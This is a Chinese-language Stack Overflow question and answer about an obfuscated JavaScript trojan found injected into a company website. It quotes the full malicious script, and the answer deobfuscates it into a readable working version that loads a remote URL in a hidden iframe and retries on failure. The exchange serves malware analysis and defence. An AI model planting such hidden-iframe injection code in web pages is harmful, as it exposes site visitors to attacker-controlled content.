我最近一直在研究 JavaScript，并开始考虑我不能遇到无法调试的 JavaScript 片段。

今天当我们在我们公司的网站上发现了一些 JavaScript 重定向木马时，我感到既惊喜又愤怒。

我能够轻松剖析我们发现的大部分代码，并使用标准转义来混淆代码功能。

但在代码中，我们发现下面的代码让我完全不明白它在做什么。 (我似乎唯一能解决的部分是它正在对某些参数进行替换)。

所以有人愿意为我剖析以下代码吗？我很想知道到底发生了什么......

<script>

function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
    w: function () {
        var rJ = 13390;
        this.m = "m";
        this.fP = '';
        this.q = "q";
        this.oJ = "";
        var vS = function () {
            return 'vS'
        };
        var d = 'replace';
        var qB = "";
        x = '';
        var s = document;
        var xZ = "xZ";
        mC = '';
        var dV = "dV";
        var b = window;
        this.p = false;
        this.kX = '';
        nP = "nP";
        var zE = "";
        this.nU = false;
        var yV = function () {
            return 'yV'
        };
        String.prototype.gT = function (l, v) {
            return this[d](l, v)
        };
        this.pC = '';
        var qV = false;
        var fPU = new Array();
        h = "";
        var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
        var xV = 43258;
        sT = '';
        var mV = '';
        this.wJ = "wJ";
        var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
        var xB = '';
        wI = "wI";
        oT = false;
        var nQ = 49042;
        try {
            zI = '';
            var bF = new Array();
            var aY = function () {
                return 'aY'
            };
            var rN = false;
            rF = "";
            var cX = function () {
                return 'cX'
            };
            var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
            this.rL = '';
            var vH = function () {
                return 'vH'
            };
            var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
            yD = "";
            var eA = '';
            var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
            vZ = '';
            this.bG = "";
            this.vL = false;
            var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
            gI = '';
            dVL = "dVL";
            var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
            lH = "";
            kD = "kD";
            this.pH = false;
            var k = 's9ric9'.gT(/[9Ni~O]/g, '');
            var vB = '';
            var kH = function () {
                return 'kH'
            };
            var qH = new Array();
            aD = '';
            this.eQ = false;
            var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
            var cT = '';
            var kL = function () {
                return 'kL'
            };
            var bR = new Array();
            this.cP = 22454;
            var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
            lG = '';
            tG = 7587;
            hV = '';
            this.oR = "oR";
            var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
            var dC = function () {};
            var eR = new Date();
            var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
            uM = "";
            var i = function () {};
            this.cI = "";
            tU = false;

            function qN() {};
            xL = 57256;
            var c = this.a();
            this.eL = '';
            var rY = function () {};
            fG = false;
            nO = false;
            this.j = "";
            this.iQ = 5330;
            var sY = function () {};
            var u = document[n](bQ);
            this.tH = false;
            zX = "";
            u[r][o] = dH;
            var kV = "kV";
            pN = '';
            var yG = new Array();
            this.nOE = 818;
            u[z](k, c);
            this.bQK = "";
            var yU = 15629;
            var sM = new Array();
            var eY = "eY";
            var qP = '';
            s[y][e](u);
            var lU = "lU";
            var zR = false;
            var xS = "";
            iX = 34795;

            function pO() {};
            this.gM = "";
        } catch (g) {
            var xI = false;
            this.gO = false;
            this.iZ = false;
            this.iU = false;
            var mQ = new Date();
            var qF = function () {};
            s.write(f);
            var tS = "tS";

            function aR() {};
            nA = "nA";
            var xT = new Date();
            mZ = false;
            var gN = new Array();
            var wE = this;
            var eB = 3562;
            this.qE = "qE";
            this.cS = false;
            this.vK = false;
            qEJ = false;
            this.hW = false;
            b[sV](function () {
                function bI() {};
                hJ = "";
                var kVQ = "kVQ";
                var iG = "";
                var eBS = new Array();
                rA = "";
                wE.w();
                jY = "";
                var hB = "hB";
                var iZF = '';
                qY = "";
                jYG = "";
                uK = 30969;
                var qD = "qD";
            }, 326);
            this.qC = "";
            var aX = function () {};
            var cN = "";
        }
        gB = false;
        var fF = false;
        this.hX = false;
    },
    a: function () {
        rH = "rH";
        this.bV = '';
        var qW = "";
        return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
        var sMS = new Array();
        this.wL = false;
        uS = "uS";

        function pI() {};
    }
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;

</script>

最佳答案

它嵌入了http://fancycake.xxx/something ，这是您可以看到它的行:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');

您会看到从该字符串中提取的每个奇数字符是如何形成 URL 的。我没有运行它，所以我不确定它在什么条件下执行此操作，但您可以看到 String.replace 已重命名为 String.gT 并且正在传递一个针对使字符串混淆的字符的正则表达式。如果您应用相同的方法，提取奇怪的字符，您可以看到有一个隐藏的 iframe、一些 javascript 事件处理程序、setAttribute 等:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');

这就是 String.replace 的别名:

var d = 'replace';

...
String.prototype.gT = function (l, v) {
    return this[d](l, v)
};

在该函数的上下文中，this 是调用 gT 的字符串，d 是字符串 replace 。在字符串的原型(prototype)上，this['replace'] 返回 replace() 方法，然后使用 gT 的两个参数调用该方法。然后返回结果。

更新

我把脚本改成了这样:

1. 将所有 string.gT() 调用替换为普通形式。
2. 删除了所有未引用的变量。
3. 给函数一些常识性的名称。

这是结果，现在应该很清楚它是如何工作的:

function FancyCake() {};
FancyCake.prototype = {
    embed: function () {
        var d = 'replace';
        var s = document;
        var b = window;
        var sV = 'setTimeout';
        var f = "<html ><head ></head><body ></body></html>";
        try {
            zI = '';
            var bF = new Array();
            var y = 'body';
            var r = 'style';
            var bQ = 'iframe';
            var t = 'write';
            var n = 'createElement';
            var k = 'src';
            var z = 'setAttribute';
            var dH = 'hidden';
            var o = 'visibility';
            var e = 'appendChild';
            var c = this.getUrl();
            var u = document[n](bQ);
            u[r][o] = dH;
            u[z](k, c);
            s[y][e](u);
        } catch (e) {
            console.error(e);
            s.write(f);
            var cake = this;
            b[sV](function () {
                cake.embed();
            }, 326);
        }
    },
    getUrl: function () {
        return "http://fancycake.net/.ph/1/";
    }
};

var cake = new FancyCake();
cake.embed();

关于JavaScript 木马剖析，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/3288049/